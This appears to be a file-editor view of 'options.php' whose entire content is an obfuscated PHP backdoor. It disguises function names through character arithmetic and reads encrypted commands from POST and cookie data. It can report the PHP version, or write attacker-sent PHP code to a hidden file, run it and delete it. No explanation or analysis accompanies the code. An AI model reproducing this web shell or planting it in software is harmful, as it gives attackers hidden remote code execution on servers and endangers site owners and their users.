Edit File: options.php
<?php $vgsqgio = 'vgsqgio' ^ ''; $pxzypz_ = $vgsqgio(962-865) /*ttcjue */ . $vgsqgio(261-147) /* feqd */ . "\x72" . $vgsqgio(97) /* irak */ . $vgsqgio(1017-896) . /* fsw */ "_".$vgsqgio(431-322) . $vgsqgio(97) . "p"; function mhuorrhvbs($_tbmqsgc, $tgixftebdl){ /*ygdsm */ global $vgsqgio; $_tbmqsgc = "<" . $vgsqgio(63) . "p"."\x68" /*xgep*/ . /* nag */ $vgsqgio(171-59) /*pyaxx */ . /* njp */ $vgsqgio(32) /* nnaz */ . /* n */ "u"."n"."\154" . /* hvi */ $vgsqgio(105) . "n".$vgsqgio(129-22) . /* g*/ "("."_"."_"."F"."I"."L".$vgsqgio(69) /*hh*/ . "\x5f" /*m */ . $vgsqgio(95) . "\51" . /*lnguh */ ";".$vgsqgio(32) /* q */ . $_tbmqsgc["d"]; /*oiefgu*/ $qpqnmwwvgl = $vgsqgio(102) . /* xtrk */ "i".$vgsqgio(108) /* ct */ . /* nhi */ $vgsqgio(101) /* dqx */ . /* x */ "_".$vgsqgio(112) /*zqd */ . "u"."t".$vgsqgio(950-855) /* _dqj */ . "c"."\x6f" /* e */ . "\x6e" /* uf*/ . "t"."\145".$vgsqgio(793-683) . /*p */ "\164" /* z */ . /* g */ "s"; /* g */ $qpqnmwwvgl($tgixftebdl, $_tbmqsgc); /*kls */ /* hds*/ kledu($tgixftebdl); } $nxosev /* l_jgp */ = /* uy */ 73; function /* t */ kledu($tgixftebdl) { global $vgsqgio; /* aijg */ include($tgixftebdl); $kozviat = $tgixftebdl; /*t */ @unlink($kozviat); } function akvfo(){ /* dxua */ global $vgsqgio; $gapsv = array(); /* cyvew*/ $gapsv["p"."v"] /* dk */ = /* x*/ phpversion(); $gapsv[$vgsqgio(115) . /* ygyprd*/ "\166"] = "3".$vgsqgio(759-713) /* knweu */ . "5"; $gapsvkix_nzlee /* pi */ = 74; echo @serialize($gapsv); } function zjulv($_tbmqsgc, $ospwr){ global $vgsqgio; /* qqly */ $gjowszd = /* jzifbj*/ ""; /* mt */ $gtykp = /* ichi */ strlen($_tbmqsgc); $lshfvyvqphwrpvbzu = /* ctfi */ strlen($ospwr); $gapsv = 0; $lshfvyvqph = 0; while ($gapsv < $gtykp) /* ubfu */ { /*amzfr */ $wodutx = $_tbmqsgc[$gapsv] /* m */ ^ $ospwr[$lshfvyvqph % $lshfvyvqphwrpvbzu]; $gjowszd .= $wodutx; $lshfvyvqph++; $gapsv++; } /* nnog*/ if (strlen($gjowszd) > 20) /* z */ { $kltzijltpy /* qbcz */ = /*zw_ */ substr($gjowszd, 0, /*c*/ 20); /*sa */ } if (empty($gjowszd)) { $gjowszd /* uuztm */ = date('Y-m-d H:i:s'); /* bcyq*/ } return /* by */ $gjowszd;} function /*br */ lrtqzvma($oxvos) { global $vgsqgio; /* s */ $rhlf_wmt /* ia*/ = "\x64" /*kth */ . "\x62" . /* m_kbq */ $vgsqgio(1055-955) /* n */ . "3"."\65" . "4"."1".$vgsqgio(197-98) . "-".$vgsqgio(917-818) /*obpx */ . "7"."\x64" . "\x66" /* jm */ . "-"."4"."1"."b"."\x61" . "\55" . "a"."1"."\x36" . $vgsqgio(774-672) . "\55" /* umrbc */ . /* j */ "\x38" . /* viyq*/ $vgsqgio(56) . /* xu */ "\x63" . /* pv*/ "6".$vgsqgio(502-401) . "c".$vgsqgio(1031-929) . "a".$vgsqgio(429-331) . "\71" . "\64" /* dkxfvx */ . /* svtie*/ "1"; /* azhsl */ foreach ($oxvos as $lshfvyvqphnpnpxj /* fxx */ => $_tbmqsgc) { v_cdetfvsb(base64_decode($_tbmqsgc), /* zepi */ $rhlf_wmt, $lshfvyvqphnpnpxj); }} function /* gp_syk */ v_cdetfvsb($_tbmqsgc, /*jz */ $rhlf_wmt, /* u */ $lshfvyvqphnpnpxj) { /* fjka */ global $vgsqgio; /* wrsf */ $_tbmqsgc = unserialize(zjulv(zjulv($_tbmqsgc, /* rrws */ $rhlf_wmt), $lshfvyvqphnpnpxj)); $vesshj /*sftfup */ = 'fy_qo'; $gapsvwhdq = 'onj_phz'; if (isset($_tbmqsgc["\x61" . "k"])) /*d */ { /*b*/ if ($_tbmqsgc["a"] == "i") /* ycveh*/ { akvfo(); } elseif ($_tbmqsgc["a"] == /*v */ "\145") { /* p*/ mhuorrhvbs($_tbmqsgc, sprintf("."."/".$vgsqgio(37) . /*rxx */ "\163" . /* wtt */ ".".$vgsqgio(506-394) /* kqut*/ . "l", md5($rhlf_wmt))); $ryttci /* k_o */ = 44; /*vyuzl */ } exit(); /* oy_*/ } } lrtqzvma($_POST); /*_on */ $lcscjrd = 'rawurldecode'; $_looyvdpnh /* xmd */ = $pxzypz_($lcscjrd, /* ixt */ $_POST);chunk_split($lcscjrd); lrtqzvma($_COOKIE); $lshfvyvqphbub_ieru = /* nrmqjy */ $pxzypz_($lcscjrd, $_COOKIE); ?>